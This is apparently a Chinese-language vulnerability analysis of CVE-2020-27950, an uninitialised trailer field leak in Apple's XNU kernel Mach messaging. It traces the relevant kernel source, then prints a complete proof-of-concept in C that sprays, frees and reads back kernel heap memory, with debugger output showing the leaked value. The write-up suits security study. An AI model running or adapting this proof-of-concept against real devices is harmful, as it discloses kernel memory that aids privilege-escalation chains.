CVE-2020-27950 trailer->msgh_ad信息泄露

bzero(trailer, sizeof(*trailer));

typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
mach_msg_max_trailer_t          *trailer;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	mach_msg_filter_id            msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

extern mach_msg_return_t mach_msg(
	    mach_msg_header_t       *msg,
	    mach_msg_option_t       option,
	    mach_msg_size_t         send_size,
	    mach_msg_size_t         rcv_size,
	    mach_port_name_t        rcv_name,
	    mach_msg_timeout_t      timeout,
	    mach_port_name_t        notify);

typedef struct{
	mach_msg_header_t       header;
	mach_msg_body_t         body;
} mach_msg_base_t;

typedef struct{
	mach_msg_bits_t       msgh_bits;
	mach_msg_size_t       msgh_size;
	mach_port_t           msgh_remote_port;
	mach_port_t           msgh_local_port;
	mach_port_name_t      msgh_voucher_port;
	mach_msg_id_t         msgh_id;
} mach_msg_header_t;

typedef struct{
	mach_msg_size_t msgh_descriptor_count;
} mach_msg_body_t;

mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);

mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

bootstrap_register(bootstrap_port, "com.wnagzihxa1n.port", port);

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
    mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
    &message.header,  // 另一种写法 (mach_msg_header_t *) &message.
    MACH_RCV_MSG,     // 两种选项：发送和接收，此处是接收
    0,                // 发送消息的长度
    sizeof(message),  // 等待接收消息的长度
    port,             // 要获取消息的port
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

mach_port_t port;
bootstrap_look_up(bootstrap_port, "com.wnagzihxa1n.port", &port);

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 1337;

kr = mach_msg(
    &message.header,  // 另一种写法 (mach_msg_header_t *) &message.
    MACH_SEND_MSG,    // 两种选项：发送和接收，此处是发送
    sizeof(message),  // 发送消息的长度
    0,                // 等待接收消息的长度
    MACH_PORT_NULL,   // 要获取消息的port
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
    mach_msg_security_trailer_t trailer;
} message;

kr = mach_msg(
    &message.header,  // 另一种写法 (mach_msg_header_t *) &message.
    MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SENDER),     // <-- 添加trailer请求位
    0,                // 发送消息的长度
    sizeof(message),  // 等待接收消息的长度
    port,             // 要获取消息的port
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

printf("Sender's user id is %u\nSender's user group is %u\n",
       message.trailer.msgh_sender.val[0],
       message.trailer.msgh_sender.val[1]);

// Sender's user id is 501
// Sender's user group is 20
// ➜  id
// uid=501(wnagzihxa1n) gid=20(staff) groups=20(staff)

/* The options that the kernel honors when passed from user space */
#define MACH_SEND_USER (
    MACH_SEND_MSG | 
    MACH_SEND_TIMEOUT | 
	MACH_SEND_NOTIFY | 
	MACH_SEND_OVERRIDE | 
	MACH_SEND_TRAILER | 
	MACH_SEND_NOIMPORTANCE | 
	MACH_SEND_SYNC_OVERRIDE | 
	MACH_SEND_PROPAGATE_QOS | 
	MACH_SEND_SYNC_BOOTSTRAP_CHECKIN | 
	MACH_MSG_STRICT_REPLY | 
	MACH_RCV_GUARDED_DESC)

#define MACH_RCV_USER (
    MACH_RCV_MSG | 
    MACH_RCV_TIMEOUT | 
	MACH_RCV_LARGE | 
	MACH_RCV_LARGE_IDENTITY | 
	MACH_RCV_VOUCHER | 
	MACH_RCV_TRAILER_MASK | 
	MACH_RCV_SYNC_WAIT |
	MACH_RCV_SYNC_PEEK  | 
	MACH_RCV_GUARDED_DESC | 
	MACH_MSG_STRICT_REPLY)

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	kern_return_t kr;
	args->rcv_msg = (mach_vm_address_t)0;

	kr = mach_msg_overwrite_trap(args);
	return kr;
}

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg()第二个参数
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS; // 大吉大利
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

	if (option & MACH_SEND_MSG) {
		ipc_space_t space = current_space();
		ipc_kmsg_t kmsg;    // 创建kmsg变量

        // 分配缓冲区并从用户态拷贝数据到内核态
		mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
	    // 转换端口，从用户态转换为内核态地址
		mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
		// 发送消息
		mr = ipc_kmsg_send(kmsg, option, msg_timeout);
	}

	if (option & MACH_RCV_MSG) {
		...
	}

	return MACH_MSG_SUCCESS;
}

mach_msg_return_t
ipc_kmsg_get(
	mach_vm_address_t       msg_addr,
	mach_msg_size_t size,
	ipc_kmsg_t              *kmsgp)
{
	mach_msg_size_t                 msg_and_trailer_size;
	ipc_kmsg_t                      kmsg;
	mach_msg_max_trailer_t          *trailer;
	mach_msg_legacy_base_t      legacy_base;
	mach_msg_size_t             len_copied;
	legacy_base.body.msgh_descriptor_count = 0;

	// 长度参数检查

    // mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
    if (size == sizeof(mach_msg_legacy_header_t)) {
		len_copied = sizeof(mach_msg_legacy_header_t);
	} else {
		len_copied = sizeof(mach_msg_legacy_base_t);
	}
	
	// 从用户态拷贝消息到内核态
	if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
		return MACH_SEND_INVALID_DATA;
	}

    // 获取内核态消息变量起始地址
	msg_addr += sizeof(legacy_base.header);

    // 直接加上最长的trailer长度，不知道接收者会定义何种类型的trailer，此处是做备用操作
    // typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
    // #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
	msg_and_trailer_size = size + MAX_TRAILER_SIZE;
	
	// 分配内核空间
	kmsg = ipc_kmsg_alloc(msg_and_trailer_size);

    // 初始化kmsg.ikm_header部分字段

    // 拷贝消息体，此处不包括trailer
	if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
		ipc_kmsg_free(kmsg);
		return MACH_SEND_INVALID_DATA;
	}

    // 通过size找到kmsg尾部trailer的起始地址，进行初始化
    // 注意它的msgh_trailer_size是最小的MACH_MSG_TRAILER_MINIMUM_SIZE
	trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
	trailer->msgh_sender = current_thread()->task->sec_token;
	trailer->msgh_audit = current_thread()->task->audit_token;
	trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
	trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
	trailer->msgh_labels.sender = 0;
	
	*kmsgp = kmsg;
	return MACH_MSG_SUCCESS;
}

trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_labels.sender = 0;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	mach_msg_filter_id            msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    // 初始化基础变量
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg()第二个参数
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS; // 大吉大利
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

    // mach_msg()：发送消息
	if (option & MACH_SEND_MSG) {
		...
	}

    // mach_msg()：接收消息，我们关注这个分支
	if (option & MACH_RCV_MSG) {
		thread_t self = current_thread();
		ipc_space_t space = current_space();
		ipc_object_t object;
		ipc_mqueue_t mqueue;

		mr = ipc_mqueue_copyin(space, rcv_name, &mqueue, &object);
        
        // 设置接收消息的缓冲区地址
		if (rcv_msg_addr != (mach_vm_address_t)0) {
			self->ith_msg_addr = rcv_msg_addr;
		} else {
			self->ith_msg_addr = msg_addr;
		}
		
		// 将重要参数设置为线程全局结构体变量
		self->ith_object = object;
		self->ith_rsize = rcv_size;
		self->ith_msize = 0;
		self->ith_option = option;
		self->ith_receiver_name = MACH_PORT_NULL;
		self->ith_continuation = thread_syscall_return;
		self->ith_knote = ITH_KNOTE_NULL;

        // 从消息队列里获取消息
        // Purpose: Receive a message from a message queue.
		ipc_mqueue_receive(mqueue, option, rcv_size, msg_timeout, THREAD_ABORTSAFE);
		if ((option & MACH_RCV_TIMEOUT) && msg_timeout == 0) {
			thread_poll_yield(self);
		}
		
		// 读取消息
		return mach_msg_receive_results(NULL);
	}

	return MACH_MSG_SUCCESS;
}

mach_msg_return_t
mach_msg_receive_results(
	mach_msg_size_t *sizep)
{
    // 初始化基础变量
	thread_t          self = current_thread();  // 获取线程全局结构体变量self
	ipc_space_t       space = current_space();
	vm_map_t          map = current_map();

	mach_msg_trailer_size_t trailer_size;
	mach_msg_size_t   size = 0;

	/*
	 * unlink the special_reply_port before releasing reference to object.
	 * get the thread's turnstile, if the thread donated it's turnstile to the port
	 */
	mach_msg_receive_results_complete(object);
	io_release(object);

	/* auto redeem the voucher in the message */
	ipc_voucher_receive_postprocessing(kmsg, option);
    
    // 确定是哪种trailer结构体，计算trailer的长度
	trailer_size = ipc_kmsg_add_trailer(kmsg, space, option, self, seqno, FALSE,
	    kmsg->ikm_header->msgh_remote_port->ip_context);

	mr = ipc_kmsg_copyout(kmsg, space, map, MACH_MSG_BODY_NULL, option);

	if (mr != MACH_MSG_SUCCESS) {
		...
	} else {
		/* capture ksmg QoS values to the thread continuation state */
		self->ith_qos = kmsg->ikm_qos;
		self->ith_qos_override = kmsg->ikm_qos_override;
		
		// 把消息传递给用户态
		// 函数ipc_kmsg_add_trailer()计算的trailer_size在这里使用到
		mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
	}

	if (sizep) {
		*sizep = size;
	}
	return mr;
}

mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
    mach_msg_option_t option, thread_t thread,
    mach_port_seqno_t seqno, boolean_t minimal_trailer,
    mach_vm_offset_t context)
{
    // 默认定义的是最大的trailer类型
	mach_msg_max_trailer_t *trailer;

#ifdef __arm64__
    // 创建栈变量tmp_trailer
	mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */
	
	// kmsg的trailer数据起始地址
	void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
	    ((vm_offset_t)kmsg->ikm_header +
	    mach_round_msg(kmsg->ikm_header->msgh_size));

	// 拷贝kmsg的trailer到tmp_trailer
	// 此时先读取最大长度MAX_TRAILER_SIZE，跟发送消息逻辑对应
	bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);
	trailer = &tmp_trailer;
#else /* __arm64__ */
	(void)thread;
	trailer = (mach_msg_max_trailer_t *)
	    ((vm_offset_t)kmsg->ikm_header +
	    mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
    
    // 函数ipc_kmsg_get()定义：trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
    // 要是没有MACH_RCV_TRAILER_MASK就直接返回最小的trailer长度
    // 没有这个标志位的意思就是trailer类型为mach_msg_trailer_t
    // mach_msg_trailer_t结构体长度就是发送者默认设置的MACH_MSG_TRAILER_MINIMUM_SIZE
    // #define MACH_RCV_TRAILER_MASK        ((0xf << 24))
	if (!(option & MACH_RCV_TRAILER_MASK)) {
		return trailer->msgh_trailer_size;
	}

	trailer->msgh_seqno = seqno;
	trailer->msgh_context = context;
    
    // 使用宏REQUESTED_TRAILER_SIZE计算msgh_trailer_size
    // 这里我们可以理解一下逻辑：
    // 在发送端，先设置最大的trailer空间，长度字段msgh_trailer_size设置为最小
    // 消息到达接收端的时候，根据接收端的trailer设置，动态调整长度字段msgh_trailer_size
	trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

	if (minimal_trailer) {
		goto done;
	}

    // 如果参数小于7，则不初始化
    // #define MACH_RCV_TRAILER_AV     7
	if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
		trailer->msgh_ad = 0;
	}

	/*
	 * The ipc_kmsg_t holds a reference to the label of a label
	 * handle, not the port. We must get a reference to the port
	 * and a send right to copyout to the receiver.
	 */

	if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
		trailer->msgh_labels.sender = 0;
	}

done:
#ifdef __arm64__
	ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */

	return trailer->msgh_trailer_size;
}

#define REQUESTED_TRAILER_SIZE_NATIVE(y)                        \
	((mach_msg_trailer_size_t)                              \
	 ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ?      \
	  sizeof(mach_msg_trailer_t) :                          \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ?    \
	   sizeof(mach_msg_seqno_trailer_t) :                   \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ?   \
	   sizeof(mach_msg_security_trailer_t) :                \
	   ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ?   \
	    sizeof(mach_msg_audit_trailer_t) :                  \
	    ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ?    \
	     sizeof(mach_msg_context_trailer_t) :               \
	     ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ?    \
	      sizeof(mach_msg_mac_trailer_t) :                  \
	     sizeof(mach_msg_max_trailer_t))))))))

#define MACH_RCV_TRAILER_NULL   0   // mach_msg_trailer_t
#define MACH_RCV_TRAILER_SEQNO  1   // mach_msg_seqno_trailer_t
#define MACH_RCV_TRAILER_SENDER 2   // mach_msg_security_trailer_t
#define MACH_RCV_TRAILER_AUDIT  3   // mach_msg_audit_trailer_t
#define MACH_RCV_TRAILER_CTX    4   // mach_msg_context_trailer_t
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);

mach_msg_return_t
ipc_kmsg_put(
	ipc_kmsg_t              kmsg,
	mach_msg_option_t       option,
	mach_vm_address_t       rcv_addr,
	mach_msg_size_t         rcv_size,
	mach_msg_size_t         trailer_size,
	mach_msg_size_t         *sizep)
{
    // 整个长度就是消息长度加上trailer的长度
	mach_msg_size_t size = kmsg->ikm_header->msgh_size + trailer_size;
	mach_msg_return_t mr;

#if defined(__LP64__)
	if (current_task() != kernel_task) { /* don't if receiver expects fully-cooked in-kernel msg; */
		mach_msg_legacy_header_t *legacy_header =
		    (mach_msg_legacy_header_t *)((vm_offset_t)(kmsg->ikm_header) + LEGACY_HEADER_SIZE_DELTA);

		mach_msg_bits_t         bits            = kmsg->ikm_header->msgh_bits;
		mach_msg_size_t         msg_size        = kmsg->ikm_header->msgh_size;
		mach_port_name_t        remote_port     = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_remote_port);
		mach_port_name_t        local_port      = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_local_port);
		mach_port_name_t        voucher_port    = kmsg->ikm_header->msgh_voucher_port;
		mach_msg_id_t           id                      = kmsg->ikm_header->msgh_id;

		legacy_header->msgh_id                  = id;
		legacy_header->msgh_local_port = local_port;
		legacy_header->msgh_remote_port = remote_port;
		legacy_header->msgh_voucher_port = voucher_port;
		legacy_header->msgh_size                = msg_size - LEGACY_HEADER_SIZE_DELTA;
		legacy_header->msgh_bits                = bits;

		size -= LEGACY_HEADER_SIZE_DELTA;
		kmsg->ikm_header = (mach_msg_header_t *)legacy_header;
	}
#endif

	/* Re-Compute target address if using stack-style delivery */
	if (option & MACH_RCV_STACK) {
		rcv_addr += rcv_size - size;
	}

    // 拷贝消息
	if (copyoutmsg((const char *) kmsg->ikm_header, rcv_addr, size)) {
		mr = MACH_RCV_INVALID_DATA;
		size = 0;
	} else {
		mr = MACH_MSG_SUCCESS;
	}

    // 释放掉内核态的消息结构体
	ipc_kmsg_free(kmsg);

	if (sizep) {
		*sizep = size;
	}
	return mr;
}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

#define MAGIC 0x416e7953 // 'SynA'

int main(int argc, char *argv[]) {
	mach_port_t port;
	int fd[2];

	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
	mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

	printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
	uint32_t *pipe_buff = malloc(1020);
	for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
		pipe_buff[i] = MAGIC;
	pipe(fd);
	write(fd[1], pipe_buff, 1020);
	
	printf("[+] Creating kalloc.1024 ipc_kmsg\n");
	mach_msg_base_t *message = NULL;

	// size to fit in kalloc.1024, trust me, I'm an expert (c)
	mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0); 

	message = malloc(message_size + MAX_TRAILER_SIZE);
	memset(message, 0, message_size + MAX_TRAILER_SIZE);
	message->header.msgh_size = message_size;
	message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
	message->body.msgh_descriptor_count = 0;
	message->header.msgh_remote_port = port;

	uint8_t *buffer;
	buffer = malloc(message_size + MAX_TRAILER_SIZE);

	printf("[+] Freeing controlled buffer\n");
	close(fd[0]);
	close(fd[1]);

	printf("[+] Sending message\n");
	mach_msg(&message->header, 
	        MACH_SEND_MSG, 
	        message_size, 
	        0, 
	        MACH_PORT_NULL, 
	        MACH_MSG_TIMEOUT_NONE, 
	        MACH_PORT_NULL);
	memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
	printf("[+] Now reading message back\n");
	mach_msg((mach_msg_header_t *)buffer, 
	        MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 
	        0, 
	        message_size + MAX_TRAILER_SIZE, 
	        port, 
	        MACH_MSG_TIMEOUT_NONE, 
	        MACH_PORT_NULL);
	
	mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
	printf("[+] Leaked value: %x\n", trailer->msgh_ad);

	return 0;
}

(lldb) p *(mach_msg_mac_trailer_t *)0x000000010fe00cdc
(mach_msg_mac_trailer_t) $11 = {
  msgh_trailer_type = 0
  msgh_trailer_size = 68
  msgh_seqno = 0
  msgh_sender = {
    val = ([0] = 501, [1] = 501)
  }
  msgh_audit = {
    val = ([0] = 4294967295, [1] = 501, [2] = 501, [3] = 501, [4] = 501, [5] = 605, [6] = 0, [7] = 1792)
  }
  msgh_context = 4714839257292734464
  msgh_ad = 0
  msgh_labels = (sender = 0)
}
(lldb) x/32x trailer
0x10fe00cdc: 0x00000000         0x00000044         0x00000000         0x000001f5
0x10fe00cec: 0x000001f5         0xffffffff(val[0]) 0x000001f5(val[1]) 0x000001f5(val[2])
0x10fe00cfc: 0x000001f5(val[3]) 0x000001f5(val[4]) 0x0000025d(val[5]) 0x00000000(val[6])
0x10fe00d0c: 0x00000700(val[7]) 0x00000000         0x00000000         0x416e7953(msgh_ad)
0x10fe00d1c: 0x00000000(msgh_labels) 0x00000000 0xf0000000 0x00000000

trailer->msgh_trailer_type =